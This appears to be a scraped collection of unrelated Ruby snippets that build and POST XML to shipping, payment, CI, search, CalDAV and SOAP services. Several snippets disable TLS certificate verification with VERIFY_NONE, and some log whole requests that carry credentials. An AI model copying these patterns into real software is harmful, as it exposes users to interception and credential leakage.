"def send_xml(out_xml)\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n\n @logger.error \"#$%$ #{@user}\"\n request.basic_auth @user, @password\n request.body = out_xml\n\n log(\"Sending request: #{request.inspect}\")\n response = http.request(request)\n\n log(\"Response: #{response}\")\n return response.body\n end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def send_xml_to_server(server, xml)\n http = Net::HTTP.new(server.host, 8443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n headers = {\n 'HTTP_AUTH_LOGIN' => server.username,\n 'HTTP_AUTH_PASSWD' => server.password,\n 'Content-Type' => 'text/xml',\n }\n\n path = \"/enterprise/control/agent.php\"\n res, data = http.post2(path, xml, headers)\n return res.body\n end",
"def basic_data_xml\n headers[\"content-type\"]=\"text/html\";\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/bankingaccount/v1\")\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end",
"def addLogsBatchXML(collection=\"lclsLogs\", dizList, bulk: false)\n uri = URI.parse(\"http://#{@host}:#{@port}/solr/#{collection}/update\") \n # uri = URI.parse(\"http://psmetric04:8983/solr/lclsLogs/update\") \n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/xml')\n req.body = formatLogBatchAsXML(dizList)\n # puts req.body \n # res = http.request(req, xml: formatLogBatchAsXML(dizList) )\n res = http.request(req)\n # puts \"response: #{res.body}\"\n return [dizList.length, req.body.size, res]\n end",
"def test_generate_request_xml_successful\n assert AxAccount.request_xml(\"CU 0100000\")\n end",
"def request_body(xml); xml; end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/creditaccount/v1\")\n end",
"def post(method, params = {})\n url = make_url method, params\n query = url.query\n url.query = nil\n\n req = Net::HTTP::Post.new url.path\n req.body = query\n req.content_type = 'application/x-www-form-urlencoded'\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body) { |cfg| cfg.strict }\n check_error xml\n raise CommunicationError.new(e)\n end",
"def commit(action, xml)\n headers = { 'Content-Type' => 'application/x-qbmsxml',\n 'Content-length' => xml.size.to_s }\n \n # Post to server\n url = get_post_url\n @request = xml\n data = ssl_post(url, xml, headers)\n \n response = parse(action, data)\n message = message_from(response)\n \n # Post Processing - Create the Response object\n case action\n \n when 'session_ticket'\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:session_ticket]\n )\n @response\n \n else\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:transaction_id],\n :cvv_result => cvv_result(response),\n :avs_result => avs_result(response)\n ) \n end\n end",
"def commit(xml)\n url = (test? ? test_url : live_url)\n\n response = parse(ssl_post(url, post_data(xml), 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'))\n\n Response.new(\n success_from(response),\n message_from(response),\n response,\n authorization: authorization_from(response),\n test: test?,\n error_code: error_code_from(response)\n )\n end",
"def build()\n response = send_post_request(@xml_api_build_path, {:delay => '0sec'})\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end",
"def process(xml)\n timeout(TIMEOUT) do\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end\n end",
"def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end",
"def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end",
"def data_xml\n headers[\"content-type\"]=\"text/html\";\n end",
"def create\n @node_config = NodeConfig.new(params[:node_config])\n\n respond_to do |format|\n if @node_config.save\n format.xml { render :xml => @node_config, :status => :created, :location => @node_config }\n format.any { render :json => @node_config, :status => :created, :location => @node_config }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end",
"def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"def nessus_request(uri, post_data) \r\n\t\tbody=nessus_http_request(uri, post_data)\r\n\t\t# puts response.body\r\n\t\tdocxml = REXML::Document.new(body)\r\n\t\tbegin \r\n\t\tstatus = docxml.root.elements['status'].text\r\n\t\trescue\r\n\t\t\tputs \"[e] error in XML parsing\"\r\n\t\tend\r\n\t\tif status == \"OK\"\r\n\t\t\treturn docxml \r\n\t\telse \r\n\t\t\treturn ''\r\n\t\tend\r\n\tend",
"def postSales_logSyndication( action_type, syndication_type, publisher_id, expiry_date, entity_id, group_id, seed_masheryid, supplier_masheryid, country, reseller_masheryid)\n params = Hash.new\n params['action_type'] = action_type\n params['syndication_type'] = syndication_type\n params['publisher_id'] = publisher_id\n params['expiry_date'] = expiry_date\n params['entity_id'] = entity_id\n params['group_id'] = group_id\n params['seed_masheryid'] = seed_masheryid\n params['supplier_masheryid'] = supplier_masheryid\n params['country'] = country\n params['reseller_masheryid'] = reseller_masheryid\n return doCurl(\"post\",\"/sales_log/syndication\",params)\n end",
"def call\n uri = URI(full_url)\n\n request = Net::HTTP::Post.new(uri)\n default_headers.each { |k, v| request[k] = v }\n request.body = to_xml\n\n https = Net::HTTP.new(uri.hostname, uri.port)\n https.use_ssl = true\n https.ssl_version = :TLSv1_2_client\n if Nuncium.configuration.cert_file\n https.verify_mode = OpenSSL::SSL::VERIFY_PEER\n https.cert = Nuncium.configuration.cert_file\n https.key = Nuncium.configuration.private_key\n https.verify_depth = 5\n request.basic_auth(Nuncium.configuration.data_box, '')\n else\n request.basic_auth(\n Nuncium.configuration.username,\n Nuncium.configuration.password\n )\n end\n response = https.request(request)\n call_reponse_wrapper(response)\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def sendToTrufina(xml)\n puts \"Sending XML to #{domain}#{endpoint}:\\n\\n#{xml}\\n\\n\" if Trufina::Config.debug?\n \n # Connection Info\n api = Net::HTTP.new( domain, 443 )\n api.use_ssl = true\n api.verify_mode = OpenSSL::SSL::VERIFY_NONE # Prevent annoying warnings\n \n # Request info\n method_call = Net::HTTP::Post.new( endpoint, {'Content-Type' => 'text/xml'} )\n method_call.body = xml\n\n if Config.staging?\n method_call.basic_auth(Config.staging_access[:username], Config.staging_access[:password])\n end\n \n # OK, execute the actual call\n response = api.request(method_call)\n raise Exceptions::NetworkError.new(response.msg) unless response.is_a?(Net::HTTPSuccess)\n parseFromTrufina(response.body)\n end",
"def send_xml(xml)\n connection.ProcessRequest(session, xml)\n rescue => e\n puts \"ERROR processing request:\\n#{xml}\"\n raise # Reraises the original error, only this way we got the xml output\n end",
"def send_action(service, action, param)\r\n param_str = \"\"\r\n param.each do |key, value|\r\n param_str << '<%{key}>%{value}</%{key}>'.%(key: key, value: value)\r\n end\r\n xmldata = ActionXML.%(type: service.type, action: action, arguments: param_str)\r\n req = Net::HTTP::Post.new(uri = URI(@igd_location + service.control_url))\r\n req.content_type = 'text/xml; charset=\"utf-8\"'\r\n req['SOAPAction'] = '\"%{type}#%{action}\"'.%(type: service.type, action: action)\r\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\r\n http.request(req, xmldata)\r\n end\r\n #res = Net::HTTP.request(req, xmldata)\r\n xml = REXML::Document.new(res.body).root\r\n if(res.is_a?(Net::HTTPSuccess))\r\n xml.each_element('s:Body/u:*') do |element|\r\n return {is_error: false, has_xml: true, xml: element}\r\n end\r\n else\r\n return {is_error: true, \r\n faultcode: xml.get_text('s:Body/s:Fault/faultcode').to_s,\r\n faultstring: xml.get_text('s:Body/s:Fault/faultstring').to_s,\r\n code: xml.get_text('s:Body/s:Fault/detail/UPnPError/errorCode').to_s.to_i,\r\n descr: xml.get_text('s:Body/s:Fault/detail/UPnPError/errorDescription').to_s\r\n }\r\n end\r\n return {is_error: false, has_xml: false}\r\n end",
"def xml_final_output\n\n parametros = ActiveSupport::OrderedHash.new\n parametros[\"xmlns\"] = \"http://cancelacfd.sat.gob.mx\"\n parametros[\"xmlns:xsd\"] = \"http://www.w3.org/2001/XMLSchema\"\n parametros[\"xmlns:xsi\"] = \"http://www.w3.org/2001/XMLSchema-instance\"\n parametros[\"Fecha\"] = @fecha\n parametros[\"RfcEmisor\"] = @rfcemisor\n \n @certificate = CFDI::Certificado.new @certificate\n \n @builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Cancelacion(parametros) do\n xml.Folios {\n xml.UUID(@uuid)\n }\n xml.Signature({'xmlns' => \"http://www.w3.org/2000/09/xmldsig#\" }) do\n xml.SignedInfo do \n xml.CanonicalizationMethod({'Algorithm' =>\"http://www.w3.org/TR/2001/REC-xml-c14n-20010315\"})\n xml.SignatureMethod({'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#rsa-sha1\"})\n \n xml.Reference({'URI' => \"\"}) do\n \n xml.Transforms do\n xml.Transform({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#enveloped-signature\" })\n end\n \n xml.DigestMethod({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#sha1\" })\n xml.DigestValue(self.digested_canonicalized_data)\n \n end\n \n end\n xml.SignatureValue(self.computed_signed_info)\n xml.KeyInfo do \n xml.X509Data do\n xml.X509IssuerSerial do\n xml.X509IssuerName(@certificate.issuername)\n xml.X509SerialNumber(@certificate.serial)\n end\n xml.X509Certificate(@certificate.data)\n end\n end\n end\n end\n end\n \n CGI::unescapeHTML(@builder.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML).strip.gsub(/\\n/, ''))\n \n end",
"def xml\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"def _to_xml(xml)\n end",
"def xml; end",
"def process_request\n api_response = self.class.post(api_url, :body => build_xml)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def create\n #returning connection.post(collection_path, to_xml, self.class.headers) do |response|\n returning connection.post(collection_path, to_ssj, self.class.headers) do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end",
"def upload_xml_file(file_name, xml)\n # Creates directory if it doesn't exist\n create_upload_dir\n # Save file to server's uploads dir\n file_to_upload = File.open(Rails.root.join('public', 'uploads', file_name), \"wb\")\n file_to_upload.write(xml)\n file_to_upload.close()\n end",
"def create\n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.new(params[:xml_sample])\n if @xml_sample.save\n redirect_to @xml_sample, notice: 'Xml sample was successfully created.'\n else\n render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n @xml_sample = XmlSample.new(attr[\"xmlsample\"])\n if @xml_sample.save\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def xml_http_request?; end",
"def api_call(action, xml_data)\n require 'net/http'\n require 'uri'\n current_url = URL;\n if action != 'get-queue'\n get_server(@@_target_type_options[@@_target_type]);\n end\n uri = URI.parse(current_url+\"/\"+action)\n http = Net::HTTP.new(uri.host,uri.port)\n request=Net::HTTP::Post.new(uri.request_uri);\n request.set_form_data({ \"queue\"=> array_to_xml(xml_data,\"\")})\n return http.request(request).body\n end",
"def post(data)\n response_data = []\n data.each do |xml|\n req = send_request(xml)\n\n if req[:code].to_i.between?(200, 201)\n response_data << req[:data]\n else\n if req[:code] == \"401\"\n raise ResponseError, \"Could not authenticate with the Pomegranate API. Ensure that your credentials are correct.\"\n elsif req[:code] == \"400\"\n raise ResponseError, \"Bad asset value formatting. Please reformat and try again.\"\n else\n raise StandardError, \"An unknown error has occured.\"\n end\n response_data = false\n break\n end\n end\n\n response_data\n end",
"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend",
"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend",
"def service(request, response)\n if @valid_ip\n raise WEBrick::HTTPStatus::Forbidden unless @valid_ip.any? { |ip| request.peeraddr[3] =~ ip }\n end\n\n if request.request_method != \"POST\"\n raise WEBrick::HTTPStatus::MethodNotAllowed,\n \"unsupported method `#{request.request_method}'.\"\n end\n\n raise WEBrick::HTTPStatus::BadRequest if parse_content_type(request['Content-type']).first != \"text/xml\"\n\n length = (request['Content-length'] || 0).to_i\n\n raise WEBrick::HTTPStatus::LengthRequired unless length > 0\n\n data = request.body\n\n raise WEBrick::HTTPStatus::BadRequest if data.nil? or data.size != length\n\n resp = process(data, client_request(request))\n raise WEBrick::HTTPStatus::InternalServerError if resp.nil? or resp.size <= 0\n\n response.status = 200\n response['Content-Length'] = resp.size\n response['Content-Type'] = \"text/xml; charset=utf-8\"\n response.body = resp\n end",
"def sendclaim\n require 'net/http'\n require 'uri'\n\n @visit = Visit.find(params[:id])\n @patient = Patient.find(@visit.patient_id)\n @patient.fname = @patient.full_sex unless @patient.fname.present?\n @doctor = Doctor.find(@visit.doc_id)\n @xml = render_to_string \"show.xml\"\n\n uri = URI.parse(CABMDURL)\n http= Net::HTTP.new(uri.host,uri.port)\n http.use_ssl = true\n \n req = Net::HTTP::Post.new(uri.request_uri, {'Content-Type' => 'application/xml'})\n req.body = @xml\n\n res = http.request(req)\n @xmlhash = JSON.parse(res.body)\n# {\"success\"=>true, \"errors\"=>[], \"messages\"=>[], \"reference_id\"=>\"332933\", \"accounting_number\"=>\"0004MZ4Z\"}\n \n if @xmlhash['success'] \n\t acc_num = @xmlhash['accounting_number']\n flash[:info] = \"Claim #{acc_num} sent to cab.md \" \n @visit.update_attribute(:status, BILLED)\n @visit.update_attribute(:billing_ref, acc_num)\n else\n\t errors = @xmlhash['errors']\n\t messages = @xmlhash['messages']\n\t flash[:danger] = \"Error sending claim : #{@xmlhash}\"\n @visit.update_attribute(:status, READY)\n\t @visit.update_attribute(:billing_ref, errors.join(',')) if errors.present?\n end\n\n respond_to(:html)\n redirect_to patient_visit_path\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def request(uris_data)\r\n\r\n #Setup output array\r\n xmlNodes = Array.new\r\n responses = request_raw(uris_data)\r\n \r\n responses.each do |response|\r\n if (response.code == \"200\")\r\n response.body.empty? ? (xmlNodes << XmlNode.new(\"Empty\")) : xmlNodes << XmlNode.parse(response.body)\r\n else\r\n xmlnode = XmlNode.new(\"error\")\r\n xmlnode.put_node('code', response.code) #put status code as xmlnode\r\n xmlnode.put_node('msg', response.body)\r\n xmlNodes << xmlnode\r\n end\r\n end\r\n return xmlNodes\r\n end",
"def xml_upload(content, credentials)\n upload('xml', content, credentials)\n end",
"def post_network(request)\n # --- Create the new Instance ---\n network = VirtualNetworkOCCI.new(\n VirtualNetwork.build_xml,\n @client,\n request.body,\n @config[:template_location])\n\n # --- Generate the template and Allocate the new Instance ---\n template = network.to_one_template\n return template, 500 if OpenNebula.is_error?(template)\n\n rc = network.allocate(template, @config[:cluster_id]||ClusterPool::NONE_CLUSTER_ID)\n if OpenNebula.is_error?(rc)\n return rc, CloudServer::HTTP_ERROR_CODE[rc.errno]\n end\n\n # --- Prepare XML Response ---\n network.info\n return to_occi_xml(network, :code=>201)\n end",
"def send(xml)\n msg = <<EOL\n<?xml version=\"1.0\"?>\n<?qbxml version=\"#{QBXML_VERSION}\"?>\n<QBXML>\n <QBXMLMsgsRq onError=\"continueOnError\">\n #{xml}</QBXMLMsgsRq>\n</QBXML>\nEOL\n puts msg\n @soap_client.ProcessRequest(@ticket, xml)\n end",
"def post_data(xml)\n \"load=#{CGI.escape(xml)}\"\n end",
"def request(path, parameters = {})\n response = Basecamp.connection.post(path, convert_body(parameters), \"Content-Type\" => content_type)\n\n if response.code.to_i / 100 == 2\n result = XmlSimple.xml_in(response.body, 'keeproot' => true, 'contentkey' => '__content__', 'forcecontent' => true)\n typecast_value(result)\n else\n raise \"#{response.message} (#{response.code})\"\n end\n end",
"def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #TODO wonder if I should make a generic library for external url requests, to standardize the header/etc?\n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n retries = 2\n begin\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH + url, 'User-Agent' => 'WikipediaAntiSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n #retry if resp.body.to_s.empty?\n resp.body\n rescue Net::HTTPBadResponse, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ECONNREFUSED, SocketError, \n Timeout::Error, Errno::EINVAL, EOFError, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n if retries > 0\n retries -= 1\n retry\n else\n raise Exception.new(\"Connection timed out after more than 3 retries: #{e}\")\n end\n end\nend",
"def parse_to_xml\n raise_if_error\n response_xml\n end",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def do_action(action, args = {})\n message = <<EOS\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"http://localhost/WebService/\">\n <soapenv:Header/>\n <soapenv:Body>\n <web:GetReport>\n <!--Optional:-->\n <web:Input><![CDATA[<InputData>\n <Session>\n <GroupName>#{group_name}</GroupName>\n <Subscriber_ID>#{subscriber_id}</Subscriber_ID>\n <Group_ID>#{group_id}</Group_ID>\n <User_ID>#{user_id}</User_ID>\n <RequestType>#{request_type}</RequestType>\n <Environment>#{environment}</Environment>\n </Session>\n <Consumer num=\"#{args[:consumer_num]}\">\n <Application>\n <First_Name_1>#{args[:firstname]}</First_Name_1>\n <First_Name_2></First_Name_2>\n <Surname>#{args[:surname]}</Surname>\n <National_ID>#{args[:nationalid]}</National_ID>\n <RSAid>#{args[:rsaid]}</RSAid> <Gender />\n <Birthday>#{args[:birthday]}19221122</Birthday>\n <Residence_Building />\n <Residence_Street />\n <Residence_Suburb />\n <Residence_City />\n <Residence_Postal_Code />\n </Application>\n </Consumer>\n <Enquirer>\n <SubscriberName>SUMMIT FINANCE</SubscriberName>\n <SubscriberTel>(011)000-0000</SubscriberTel>\n </Enquirer></InputData>]]>\n </web:Input>\n </web:GetReport>\n </soapenv:Body>\n</soapenv:Envelope>\nEOS\n\n response = @wsdl.request action do\n soap.xml = message\n end\n result = Nori.parse(response.to_hash[:get_report_response][:output])\n if result == \"Invalid Input Data\"\n raise Experin::InvalidXmlError, \"Input xml string is not valid\"\n else\n p result\n end\n end",
"def send_raw(xml)\n open\n @soap_client.ProcessRequest(@ticket, xml)\n close \n end",
